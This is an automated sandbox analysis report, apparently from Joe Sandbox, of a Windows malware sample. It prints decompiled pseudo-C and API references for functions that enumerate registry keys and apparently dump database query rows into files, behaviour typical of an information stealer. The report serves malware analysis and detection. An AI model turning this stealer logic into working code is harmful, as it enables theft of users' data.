Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 0058B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0058B264
memset.NTDLL ref: 0058B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0058B286
__aulldiv.LIBCMT ref: 0058B2A0
wsprintfA.USER32 ref: 0058B2CC

Strings

@, xrefs: 0058B27B
([X, xrefs: 0058B2C8, 0058B2D5, 0058B2CB

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([X$@
API String ID: 3391354518-3456418885
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: 7227ef588a92ec564de6ce848dcbf17beee8928b7ce8f170d8b0860876e32da5
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 6E0100B1D40208ABDB00DFE4DD49BEEB7B8FF44700F108958F615A7280D7B599118B95

Uniqueness

Uniqueness Score: -1.00%

Function 00591770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00592CEA,?), ref: 00591778
StrCmpCA.SHLWAPI(?,00419340,?,00592CEA,?), ref: 005917C5
StrCmpCA.SHLWAPI(?,00419344,?,00592CEA,?), ref: 005917DF
StrCmpCA.SHLWAPI(?,0041934C,?,00592CEA,?), ref: 005917F9

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: 238cd531bfb7f6be5fb9ec6a991c01509c803915bdadd3dfc2aecd15dc97a966
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: 80319039B0461AEBCF00DFB1CA88AEE7FB8BE197407248455E525A7640D734DE40FB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x4822e0
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x488ca0
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x488df0
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,00488CA0,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,00488DF0,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

"H, xrefs: 0040B407
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s$"H
API String ID: 199769609-416879399
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x488678
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x482608
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 97f163c4e3f43fdc12d8d29c177fd2d5a228be78a29fa621080ffe873688423f
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 97f163c4e3f43fdc12d8d29c177fd2d5a228be78a29fa621080ffe873688423f
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x488678
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x486288
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 0fb06592575d236068e279f2b8e7657b2a1fa531f923d5317e9f70859135f389
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 0fb06592575d236068e279f2b8e7657b2a1fa531f923d5317e9f70859135f389
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00589650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0058967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005896D5
RtlAllocateHeap.NTDLL(00000000), ref: 005896DC
lstrcat.KERNEL32(?,?), ref: 0058973F
lstrcat.KERNEL32(?,004191EC), ref: 00589751
lstrcat.KERNEL32(?,?), ref: 00589765
lstrcat.KERNEL32(?,00418BC4), ref: 00589777
lstrlen.KERNEL32(?), ref: 00589789

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: 1d8e69c8a4a6cc0c408dc6adf738eaa18df5ebae8e1ca1862bef50a82664ab7a
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: 954194B1900108ABCB14EFA4DD4AFEA77B8BF48701F008594F709E7151D6759EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005883A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005883CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00588425
RtlAllocateHeap.NTDLL(00000000), ref: 0058842C
lstrcat.KERNEL32(?,?), ref: 0058848F
lstrcat.KERNEL32(?,004191EC), ref: 005884A1
lstrcat.KERNEL32(?,?), ref: 005884B5
lstrcat.KERNEL32(?,00418BC4), ref: 005884C7
lstrlen.KERNEL32(?), ref: 005884D9

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: b5ea9101ec2be6d396ab7ec6629130e7ca044a3c4818a217a2bf3d67c3292933
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: CF4196B1900118ABCB14EBA4DD4AFEA77B8BF48700F008594F70997151DA759EA0CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				void* _t45;
				intOrPtr _t46;
				void* _t49;
				intOrPtr _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t57;
				intOrPtr _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0x487020
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a);
				_t46 =  *0x41a574; // 0x487038
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0x487080
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0x486d98
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10);
				_t58 =  *0x41a494; // 0x486ea0
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32);
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

8pH, xrefs: 004061A2
pH, xrefs: 0040615F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: pH$8pH
API String ID: 553454533-1667286206
Opcode ID: 5eb5f72944f695e6cf76d501504a889158da1d86ddb47655d8513446b923e27e
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 5eb5f72944f695e6cf76d501504a889158da1d86ddb47655d8513446b923e27e
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00586380, Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 150stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 005863BC
lstrcpy.KERNEL32(?,00000000), ref: 0058640C
lstrcpy.KERNEL32(?,00000000), ref: 0058643A
lstrcpy.KERNEL32(?,00000000), ref: 00586468
lstrcpy.KERNEL32(?,00000000), ref: 00586496

Strings

8pH, xrefs: 005863F2, 005863F7
pH, xrefs: 005863AF, 005863B4

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: lstrcpy$wsprintf
String ID: pH$8pH
API String ID: 553454533-1667286206
Opcode ID: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction ID: e34fe67cba6ab9b5b79fe96c3f661e039395408ca6000505fcc9e708fb91eeb2
Opcode Fuzzy Hash: aa32a037b7bd4a0b7568ab49524ffa8f354fa4865ca45a1c5ffad3e0f155a9a0
Instruction Fuzzy Hash: 4D51A6B6D00108BBD715EF90EC8AFDB7778BB8C704F044598F609A2152EA74DA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0x486570
				if(RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8) == 0) {
					_t19 =  *0x41a1f4; // 0x488bc8
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12);
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.ADVAPI32(80000002,00486570,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.ADVAPI32(?,00488BC8,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Strings

peH, xrefs: 0040B26F

Memory Dump Source

Source File: 0000001D.00000002.379341865.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.379383242.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: peH
API String ID: 3225020163-3409831682
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0058B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0058B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[X), ref: 0058B31B
RegQueryValueExA.ADVAPI32(X[X,0041A4DC,00000000,00000000,?,000000FF), ref: 0058B33C
RegCloseKey.ADVAPI32(X[X), ref: 0058B346

Strings

X[X, xrefs: 0058B304, 0058B342, 0058B338, 0058B307, 0058B33B, 0058B345

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[X
API String ID: 3225020163-2702310211
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: c922c43d119750abf5323336deab603d7b066df6debb10701f50051fe00b0f65
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 40014FB5A41208BFE700DFE0DD49FEEB7BCEB48700F008568FA05A7291DA745A50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0058B490, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0058B4A4
RtlAllocateHeap.NTDLL(00000000), ref: 0058B4AB
RegOpenKeyExA.ADVAPI32(80000002,peH,00000000,00020119,00585CA8), ref: 0058B4CB
RegQueryValueExA.ADVAPI32(00585CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0058B4EC
RegCloseKey.ADVAPI32(00585CA8), ref: 0058B4F6

Strings

peH, xrefs: 0058B4BF, 0058B4C5

Memory Dump Source

Source File: 0000001D.00000002.379550403.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_580000_FD2B.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: peH
API String ID: 3225020163-3409831682
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: e583b9393406cda6a62c2eb1ee0f1cf078770892ae510fe87ebbc80d6e2af90a
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: E6013CB5A41208BBEB00DBE0ED4AFEEB7B8EB48700F008568FA05A7291D6745A508B55

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x488598
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x4866b0
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
